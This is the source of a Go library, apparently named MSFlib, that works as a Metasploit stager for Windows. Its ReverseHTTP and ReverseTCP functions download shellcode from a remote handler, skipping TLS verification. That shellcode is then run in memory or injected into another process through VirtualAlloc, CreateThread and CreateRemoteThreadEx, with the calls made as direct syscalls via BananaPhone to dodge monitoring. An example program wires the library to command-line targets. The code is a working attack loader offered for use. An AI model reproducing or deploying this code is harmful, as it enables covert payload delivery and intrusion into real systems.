├── README.md ├── example └── main.go ├── go.mod ├── helpers.go ├── internal.go └── main.go /README.md: -------------------------------------------------------------------------------- 1 | # MSFlib 2 | A golang library designed to interact with Metasploit via Microsoft Windows 3 | 4 | Note: 5 | 32-bit and 64 bit payloads need to be used with corresponding compiling options. For example, 32-bit payloads need to be set for the multi/handler if on a 32-bit system. 6 | 7 | Example: 8 | See `example` directory -------------------------------------------------------------------------------- /example/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "strings" 6 | 7 | "github.com/vyrus001/msflib" 8 | ) 9 | 10 | func checkFatalerr(err error) { 11 | if err != nil { 12 | panic(err) 13 | } 14 | } 15 | 16 | func main() { 17 | // check args 18 | if len(os.Args) < 2 { 19 | os.Exit(0) 20 | } 21 | 22 | switch { 23 | case strings.HasPrefix(os.Args[1], "http"): 24 | checkFatalerr(msflib.ReverseHTTP(os.Args[1], -1)) 25 | case strings.HasPrefix(os.Args[1], "tcp"): 26 | checkFatalerr(msflib.ReverseTCP(os.Args[1], -1)) 27 | default: 28 | // assumes Arg[1] is a filename 29 | checkFatalerr(msflib.LoadLocal(os.Args[1], -1)) 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/vyrus001/msflib 2 | 3 | go 1.16 4 | 5 | require ( 6 | github.com/C-Sto/BananaPhone v0.0.0-20201003062936-916e63b713df 7 | github.com/kalaspuffar/base64url v0.0.0-20171121144659-483af17b794c // indirect 8 | github.com/vyrus001/base64url v0.0.0-20150415085544-d1ca7fd6bb7f 9 | ) 10 | -------------------------------------------------------------------------------- /helpers.go: -------------------------------------------------------------------------------- 1 | package msflib 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "fmt" 7 | "math/rand" 8 | "runtime" 9 | "strings" 10 | "time" 11 | 12 | "github.com/vyrus001/base64url" 13 | ) 14 | 15 | // RE'd from the way MSF makes URIs 16 | func getURL() string { 17 | 18 | // init 19 | puid := "DC949HAX" 20 | timestamp := time.Now().UTC().Unix() 21 | platformXor := rand.Intn(255) 22 | archXor := rand.Intn(255) 23 | var arch int 24 | if strings.HasPrefix(runtime.GOARCH, "amd64") { 25 | arch = 2 26 | } 27 | 28 | // generate uuid 29 | var timeXor int32 30 | binary.Read(bytes.NewBuffer([]byte{ 31 | byte(platformXor), 32 | byte(archXor), 33 | byte(platformXor), 34 | byte(archXor)}), 35 | binary.BigEndian, &timeXor) 36 | var uuid int64 37 | binary.Read(bytes.NewBuffer([]byte{ 38 | byte(platformXor), 39 | byte(archXor), 40 | byte(platformXor ^ PLATFORM), 41 | byte(archXor ^ arch), 42 | byte(int64(timeXor) ^ timestamp)}), 43 | binary.BigEndian, &uuid) 44 | uri := base64url.Encode([]byte(puid + fmt.Sprintf("%x", uuid))) 45 | 46 | // bruteforce checksum 47 | for { 48 | // uuid + padding = uri 49 | uri = uri + base64url.Rand(1) 50 | 51 | // calculate uri checksum 52 | var sum int 53 | for _, ch := range uri { 54 | sum = sum + int(ch) 55 | } 56 | checksum := sum % 0x100 57 | 58 | // if at first your checksum is bad... 59 | if checksum == CHECKSUMMODE { 60 | return string(uri) 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /internal.go: -------------------------------------------------------------------------------- 1 | package msflib 2 | 3 | import ( 4 | "encoding/binary" 5 | "net" 6 | "reflect" 7 | "unsafe" 8 | 9 | bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone" 10 | ) 11 | 12 | var ( 13 | bp *bananaphone.BananaPhone 14 | bpFuncs map[string]uint16 15 | ) 16 | 17 | func init() { 18 | // msf mode setings 19 | CHECKSUMMODE = 92 20 | PLATFORM = 1 21 | 22 | bpFuncs = make(map[string]uint16) 23 | } 24 | 25 | func callWinAPI(fncName string, args ...uintptr) (uintptr, error) { 26 | if bp == nil { 27 | thisBP, err := bananaphone.NewBananaPhone(bananaphone.DiskBananaPhoneMode) 28 | if err != nil { 29 | return uintptr(0), err 30 | } 31 | bp = thisBP 32 | } 33 | if _, ok := bpFuncs[fncName]; !ok { 34 | fnc, err := bp.GetSysID(fncName) 35 | if err != nil { 36 | return uintptr(0), err 37 | } 38 | bpFuncs[fncName] = fnc 39 | } 40 | retVal, err := bananaphone.Syscall(bpFuncs[fncName], args...) 41 | return uintptr(retVal), err 42 | } 43 | 44 | // return a socket file descriptor as 4 bytes 45 | func getFDBytes(conn *net.TCPConn) []byte { 46 | fd := reflect.ValueOf(*conn).FieldByName("fd") 47 | handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd") 48 | socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr())) 49 | 50 | buff := make([]byte, 4) 51 | binary.LittleEndian.PutUint32(buff, socketFd) 52 | return buff 53 | } 54 | 55 | func callPayload(payload []byte) error { 56 | addr, err := callWinAPI("VirtualAlloc", 0, uintptr(len(payload)), 0x1000|0x2000, 0x40) 57 | bananaphone.WriteMemory(payload, addr) 58 | handle, err := callWinAPI("CreateThread", 0, 0, addr, 0, 0, 0) 59 | if handle == 0 { 60 | return err 61 | } 62 | _, err = callWinAPI("WaitForSingleObject", handle, uintptr(0xffffffff)) 63 | if err != nil { 64 | return err 65 | } 66 | return nil 67 | } 68 | 69 | func injectPayload(payload []byte, pid int) error { 70 | // PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ 71 | handle, err := callWinAPI("OpenProcess", 0x0002|0x0400|0x0008|0x0020|0x0010, uintptr(0), uintptr(pid)) 72 | if handle == 0 { 73 | return err 74 | } 75 | // MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE 76 | addr, err := callWinAPI("VirtualAllocEx", handle, 0, uintptr(len(payload)), 0x1000|0x2000, 0x40) 77 | if addr == 0 { 78 | return err 79 | } 80 | bananaphone.WriteMemory(payload, addr) 81 | _, err = callWinAPI("CreateRemoteThreadEx", handle, 0, 0, addr, 0, 0, 0) 82 | if err != nil { 83 | if err.Error() != "The operation completed successfully." { 84 | return err 85 | } 86 | } 87 | _, err = callWinAPI("CloseHandle") 88 | if err != nil { 89 | if err.Error() != "The operation completed successfully." { 90 | return err 91 | } 92 | } 93 | return nil 94 | } 95 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package msflib 2 | 3 | import ( 4 | "crypto/tls" 5 | "encoding/binary" 6 | "io" 7 | "io/ioutil" 8 | "net" 9 | "net/http" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | var ( 15 | CHECKSUMMODE int 16 | PLATFORM int 17 | ) 18 | 19 | func ReverseHTTP(hostAndPort string, pid int) error { 20 | // *** assumes hostAndPort is in format of [:] 21 | httpClient := &http.Client{ 22 | Transport: &http.Transport{ 23 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 24 | }, 25 | } 26 | response, err := httpClient.Get(hostAndPort + "/" + getURL()) 27 | if err != nil { 28 | return err 29 | } 30 | defer response.Body.Close() 31 | payload, err := ioutil.ReadAll(response.Body) 32 | if err != nil { 33 | return err 34 | } 35 | if pid == -1 { 36 | return callPayload(payload) 37 | } 38 | return injectPayload(payload, pid) 39 | } 40 | 41 | func ReverseTCP(hostAndPort string, pid int) error { 42 | // *** assumes hostAndPort is in format of : 43 | socket, err := net.Dial("tcp", strings.TrimPrefix(hostAndPort, "tcp://")) 44 | if err != nil { 45 | return err 46 | } 47 | 48 | // read payload size 49 | var payloadSizeRaw = make([]byte, 4) 50 | _, err = io.ReadFull(socket, payloadSizeRaw) 51 | if err != nil { 52 | return err 53 | } 54 | payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw)) 55 | 56 | // read payload 57 | socket.SetReadDeadline(time.Now().Add(time.Duration(5) * time.Second)) 58 | var payload = make([]byte, payloadSize) 59 | _, err = io.ReadFull(socket, payload) 60 | if err != nil { 61 | return err 62 | } 63 | 64 | // move SOCKET value to the EDI register 65 | socketFD := getFDBytes(socket.(*net.TCPConn)) 66 | payload = append(append([]byte{0xBF}, socketFD...), payload...) 67 | 68 | if pid == -1 { 69 | return callPayload(payload) 70 | } 71 | return injectPayload(payload, pid) 72 | } 73 | 74 | // mostly for testing, but should work on any shellcode 75 | func LoadLocal(file string, pid int) error { 76 | payload, _ := ioutil.ReadFile(file) 77 | if pid == -1 { 78 | return callPayload(payload) 79 | } 80 | return injectPayload(payload, pid) 81 | } 82 | --------------------------------------------------------------------------------